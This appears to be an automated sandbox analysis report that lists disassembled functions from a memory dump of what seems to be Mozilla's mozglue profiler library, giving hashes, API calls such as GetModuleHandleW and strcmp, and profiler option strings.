Instruction ID: abf186ce9f9c734c8e384b0231a2bea45213bc7c3d19e44ecba271efc7597e0d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: DB325971F0121A8BDF1CCE9CC8A17BEB7B6FB88300F15852AD506BB790DA349D458B95

Function 6C9BB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9603D4,?), ref: 6C9BB955
NtQueryVirtualMemory.NTDLL ref: 6C9BB9A5

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction ID: 74815975401d012b9c5b82fc612d258ea3ca7e91d580970858bfb7b2fe73cd1e
Opcode Fuzzy Hash: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction Fuzzy Hash: 8641C571F01219AFDF04CFA9D880ADEB7B9EF88354F14812AE505B7744DB30E9458B91

Function 6C995C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C964A63,?,?), ref: 6C995F06

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction ID: e87c19aeb54141b40e2ff11cc4c98e9d4ce69d8caccf48a06b77821da2475711
Opcode Fuzzy Hash: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction Fuzzy Hash: DAC1C175D012099BCB04CFA5C5906EEBBF6FF8A319F28425DD8556BB44D732A846CB80

Function 6C95DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction ID: a899fa613e4c4b232c11e9189b4b7732dc773f6f34e3f0bd3ad67280208987b7
Opcode Fuzzy Hash: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction Fuzzy Hash: AC42D472A087518BD304CE3CC49035AF3E2BFC9364F594B2DE999A7794D739D9418B82

Function 6C9C76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: b85fa92e39bd717ff08c812256885db20c52909c69fc35117cf796b061bc8064
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8332F871E0061A8FDB14CF98C8D0AADFBB6FF88304F6481A9C549A7745D731A986CF91

Function 6C9C6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 339a7a8d9ce8ff281e064841f521848a5f2afeceb7f9eb647f16b7c89a008e69
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F522E871E0061A8FDB14CF98C880AADF7F6FF88304F6485AAC549A7745D731A986CF91

Function 6C980512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 286ab1b55caabb77574da8dc762465e9dbb4a6a592fa37c3ece0a54f2dbccbfb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: FC221671E01659CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D731A986CF90

Function 6C9CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction ID: 845f37bb87fd0395f7ec045ee9b6bdfdba6238f99a989a2309416836ff3aa9ca
Opcode Fuzzy Hash: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction Fuzzy Hash: C3F14871B087458FD700CE28C8913AAB7E6AFD5318F158A2DE8D487781EB74D9898793

Function 6C95C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 5f235e11923b688408c7ff9597425e03612c3ff3549a37dde2826480d5134435
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: AAA1AA71F0021A8FDB08CE69C8913AEB7F2AFC8354F588269D915E7781DB349D168B90

Function 6C997710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction ID: 9235d4aeb16e95b897db654b44aad1d842f977bcab8bd4c1c42e8846b01dd419
Opcode Fuzzy Hash: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction Fuzzy Hash: 7B714C75E012198FCB18CF99D8905EDBBB6FF89314F28816ED415AB740DB31A945CB90

Function 6C9958E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction ID: e27303789d493c5076aeb74b262a07e258456b216b98fe066c17ff9ed332aa26
Opcode Fuzzy Hash: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction Fuzzy Hash: F5817A75A012199FCB04CFA8C8809EEBBF6FF89314F684269D511AB741D731E945CBA0

Function 6C99CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C96582D), ref: 6C99CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C96582D), ref: 6C99CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9CFE98,?,?,?,?,?,6C96582D), ref: 6C99CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C99CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C99CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C99CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C99CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C99CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C99CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C99CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C99CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C99CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C99CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C99CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C99CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C99CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C99CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C99CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C99CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C99CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C99CE8A

Strings

unregisteredthreads, xrefs: 6C99CE58
mainthreadio, xrefs: 6C99CC7C
jsallocations, xrefs: 6C99CD0E
audiocallbacktracing, xrefs: 6C99CDD4
markersallthreads, xrefs: 6C99CE42
default, xrefs: 6C99CC21
notimerresolutionchange, xrefs: 6C99CE00
fileioall, xrefs: 6C99CCA8
samplingallthreads, xrefs: 6C99CE2C
leaf, xrefs: 6C99CC66
power, xrefs: 6C99CE84
nativeallocations, xrefs: 6C99CDA8
nostacksampling, xrefs: 6C99CD7C
stackwalk, xrefs: 6C99CCF8
cpuallthreads, xrefs: 6C99CE16
Unrecognized feature "%s"., xrefs: 6C99CEA0
java, xrefs: 6C99CC37
seqstyle, xrefs: 6C99CCE6
preferencereads, xrefs: 6C99CD92
noiostacks, xrefs: 6C99CCBE
screenshots, xrefs: 6C99CCD4
fileio, xrefs: 6C99CC92
processcpu, xrefs: 6C99CE6E
ipcmessages, xrefs: 6C99CDBE

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction ID: 83ba0149e1da4508ae46db8caf5da7f62224e50d92e28a20b1727d8fa29fa8dd
Opcode Fuzzy Hash: 049deccd7b179f3df5266eb65aac10e76e7929683c6140fb83ff99b66d0a272e
Instruction Fuzzy Hash: 8751A7C1B4562622FF0431157D10BAA184DEFB724AF1C443AED1AA1F90FF05E71A86B7

Function 6C9647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C964801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C964817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C96482D
__Init_thread_footer.LIBCMT ref: 6C96484A

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

GetCurrentThreadId.KERNEL32 ref: 6C96485F
GetCurrentThreadId.KERNEL32 ref: 6C96487E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96488B
free.MOZGLUE(?), ref: 6C96493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C964956
free.MOZGLUE(00000000), ref: 6C964960
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96499A

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

free.MOZGLUE(?), ref: 6C9649C6
free.MOZGLUE(?), ref: 6C9649E9

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C964812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9647FC
[I %d/%d] profiler_shutdown, xrefs: 6C964A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C964A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C964828

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction ID: 08453eb5f0dbc9816052d0d2f3ad419fc9f7ccd014a6fa1920723bf4cc2f4576
Opcode Fuzzy Hash: 2fbc5fb9be08767893a91cb3a760ae8df8be2b8a6196d0d2bf022ff6f6b5cabf
Instruction Fuzzy Hash: D0812571A049009BEB00DFA9C86876A3775AF5232DF240229D916A7FC1D731F894CF96

Function 6C964470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
Part of subcall function 6C964730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9644D2
InitOnceExecuteOnce.KERNEL32(6C9DF80C,6C95F240,?,?), ref: 6C96451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96455C
LoadLibraryW.KERNEL32(?), ref: 6C964592
InitializeCriticalSection.KERNEL32(6C9DF770), ref: 6C9645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9645BB
InitOnceExecuteOnce.KERNEL32(6C9DF818,6C95F240,?,?), ref: 6C964612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C964636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C964644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C96466D
VerSetConditionMask.NTDLL ref: 6C96469F
VerSetConditionMask.NTDLL ref: 6C9646AB
VerSetConditionMask.NTDLL ref: 6C9646B2
VerSetConditionMask.NTDLL ref: 6C9646B9
VerSetConditionMask.NTDLL ref: 6C9646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9646FD

Strings

NativeNtBlockSet_Write, xrefs: 6C9646F7
kernel32.dll, xrefs: 6C9644CD
user32.dll, xrefs: 6C964557, 6C96463F
WRusr.dll, xrefs: 6C9644B5
l, xrefs: 6C964578

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction ID: 95f3080130d8457ce0f29acd07269db9e794ac254ff7730002b5faff1b8e1813
Opcode Fuzzy Hash: f27f717a67b20e8f9a74b2af67ba918b4ef8d69f493e4142ebe7b93006c3dbff
Instruction Fuzzy Hash: 2261F7B16087449FFB00DFA1C80AB957BB8EB4270CF24C559E505ABA91D770E6C4CFA1

Function 6C99E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C997090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C99B9F1,?), ref: 6C997107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99E92D
GetCurrentThreadId.KERNEL32 ref: 6C99EA4F
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EA80
GetCurrentThreadId.KERNEL32 ref: 6C99EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C99DCF5), ref: 6C99EA92
GetCurrentThreadId.KERNEL32 ref: 6C99EB11
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C99EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EB5B

Part of subcall function 6C995710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C99EB71), ref: 6C9957AB

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C99EBAC

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99EBC1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C99EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,00000000), ref: 6C99EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EC46
CloseHandle.KERNEL32(?), ref: 6C99EC55
free.MOZGLUE(00000000), ref: 6C99EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C99EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C99EA9B

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
